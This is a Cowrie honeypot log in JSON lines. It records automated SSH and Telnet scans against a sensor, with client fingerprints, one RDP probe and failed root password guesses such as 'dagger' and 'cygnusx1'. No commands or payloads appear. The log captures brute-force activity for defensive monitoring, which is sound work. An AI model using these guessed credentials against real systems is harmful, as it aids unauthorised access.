{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:cf:09:68:0d:0c:1b:28:3b:0e:f6:22:03:fc:3d:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCmEZcGdc6TaDEPGy179lt2s2maMyz8Jd2chUV/2CQezzyR62yCFLV+qOZQPn4k4989WoTD8d+g8MHFDQDX7RLWcF7/itXUpe6ri4Vqa6O46hSYVjO3nmLVuPvXpOlo/+3FIjXswR6afOXGIoMSb0XPjqU3rYg5DHE1FH7q3tKNVN1Rim+xH94ade5QjjXSbGdcoPn1qMwVaXDgUeKSyYG7uYq/36TpfqlCrDf483FFO3RFr931dskuwZSalwdwhFhouhxQ9decCeHLBjrCrsjMtBfIcG8fczfzeehSV/+7ueB/AhrAuzK0CVKXo3QMLGtd+pkQFyK+rDUCSSQp5VP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:42.465566Z","src_ip":"191.101.33.110","session":"068b48e8230b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:2b:11:d5:18:9f:41:26:fc:fa:ef:5d:87:1d:c0:4f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIMnU2GSUCKyfCPuuWUKQyGQv3Y/kEm0rMLNlE7v5eEt","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d0:2b:11:d5:18:9f:41:26:fc:fa:ef:5d:87:1d:c0:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:42.494048Z","src_ip":"191.101.33.110","session":"068b48e8230b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:2b:11:d5:18:9f:41:26:fc:fa:ef:5d:87:1d:c0:4f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIMnU2GSUCKyfCPuuWUKQyGQv3Y/kEm0rMLNlE7v5eEt","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:42.498195Z","src_ip":"191.101.33.110","session":"068b48e8230b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:42.527578Z","src_ip":"191.101.33.110","session":"068b48e8230b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":47012,"dst_ip":"10.17.0.5","dst_port":22,"session":"8463bd392413","protocol":"ssh","message":"New connection: 45.78.230.231:47012 (10.17.0.5:22) [session: 8463bd392413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:47.640530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:47.645591Z","src_ip":"45.78.230.231","session":"8463bd392413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:47.884059Z","src_ip":"45.78.230.231","session":"8463bd392413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":59712,"dst_ip":"159.203.135.109","dst_port":22,"session":"8da488c4ff5b","protocol":"ssh","message":"New connection: 37.143.61.241:59712 (159.203.135.109:22) [session: 8da488c4ff5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:48.243620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:48.250614Z","src_ip":"37.143.61.241","session":"8da488c4ff5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52323,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9804585d878","protocol":"ssh","message":"New connection: 152.42.212.128:52323 (159.203.135.109:22) [session: f9804585d878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:48.267200Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:48.273742Z","src_ip":"152.42.212.128","session":"f9804585d878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:48.282390Z","src_ip":"152.42.212.128","session":"f9804585d878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:48.334966Z","src_ip":"37.143.61.241","session":"8da488c4ff5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":51896,"dst_ip":"159.203.135.109","dst_port":22,"session":"70d4d902f02a","protocol":"ssh","message":"New connection: 43.133.34.13:51896 (159.203.135.109:22) [session: 70d4d902f02a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:48.342154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:48.348237Z","src_ip":"43.133.34.13","session":"70d4d902f02a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:48.589971Z","src_ip":"43.133.34.13","session":"70d4d902f02a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nada","message":"login attempt [root/nada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:48.696897Z","src_ip":"37.143.61.241","session":"8da488c4ff5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dagger","message":"login attempt [root/dagger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:49.574910Z","src_ip":"43.133.34.13","session":"70d4d902f02a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:49.782295Z","src_ip":"37.143.61.241","session":"8da488c4ff5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deepspeed","message":"login attempt [root/deepspeed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:50.718497Z","src_ip":"45.78.230.231","session":"8463bd392413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:50.816503Z","src_ip":"43.133.34.13","session":"70d4d902f02a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:52.342086Z","src_ip":"45.78.230.231","session":"8463bd392413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51482,"dst_ip":"10.17.0.5","dst_port":23,"session":"476aa237f8ea","protocol":"telnet","message":"New connection: 152.42.224.71:51482 (10.17.0.5:23) [session: 476aa237f8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:55.226838Z"}
{"eventid":"cowrie.session.closed","duration":55.29400873184204,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:57.431609Z","src_ip":"152.42.224.71","session":"1ee886705c45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":55498,"dst_ip":"159.203.135.109","dst_port":22,"session":"708baf10f581","protocol":"ssh","message":"New connection: 68.183.236.1:55498 (159.203.135.109:22) [session: 708baf10f581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:58.360991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:58.366397Z","src_ip":"68.183.236.1","session":"708baf10f581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:58.629748Z","src_ip":"68.183.236.1","session":"708baf10f581","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samba","message":"login attempt [root/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:59.675898Z","src_ip":"68.183.236.1","session":"708baf10f581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:00.934546Z","src_ip":"68.183.236.1","session":"708baf10f581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.428544998168945,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:07.884288Z","src_ip":"152.42.224.71","session":"3d5891439acc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":48368,"dst_ip":"159.203.135.109","dst_port":22,"session":"624198e37645","protocol":"ssh","message":"New connection: 43.130.35.229:48368 (159.203.135.109:22) [session: 624198e37645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:19.182121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:19.186458Z","src_ip":"43.130.35.229","session":"624198e37645","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:19.258015Z","src_ip":"43.130.35.229","session":"624198e37645","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135792468","message":"login attempt [root/135792468] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:19.565827Z","src_ip":"43.130.35.229","session":"624198e37645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:20.638241Z","src_ip":"43.130.35.229","session":"624198e37645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":52968,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9e3162125c6","protocol":"ssh","message":"New connection: 181.47.9.103:52968 (10.17.0.5:22) [session: d9e3162125c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:20.725018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:20.729956Z","src_ip":"181.47.9.103","session":"d9e3162125c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:20.872645Z","src_ip":"181.47.9.103","session":"d9e3162125c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cygnusx1","message":"login attempt [root/cygnusx1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:21.475214Z","src_ip":"181.47.9.103","session":"d9e3162125c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:22.620962Z","src_ip":"181.47.9.103","session":"d9e3162125c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57178,"dst_ip":"10.17.0.5","dst_port":23,"session":"f51c12793e64","protocol":"telnet","message":"New connection: 152.42.224.71:57178 (10.17.0.5:23) [session: f51c12793e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:22.810390Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57190,"dst_ip":"10.17.0.5","dst_port":23,"session":"808044c6457c","protocol":"telnet","message":"New connection: 152.42.224.71:57190 (10.17.0.5:23) [session: 808044c6457c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:22.822335Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57192,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5e6e908fa9e","protocol":"telnet","message":"New connection: 152.42.224.71:57192 (10.17.0.5:23) [session: e5e6e908fa9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:22.962093Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":45872,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d707790548b","protocol":"ssh","message":"New connection: 72.52.132.30:45872 (159.203.135.109:22) [session: 3d707790548b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:27.563599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:27.604737Z","src_ip":"72.52.132.30","session":"3d707790548b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:27.632651Z","src_ip":"72.52.132.30","session":"3d707790548b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"miami13","message":"login attempt [root/miami13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:31:27.793233Z","src_ip":"72.52.132.30","session":"3d707790548b","protocol":"ssh"}
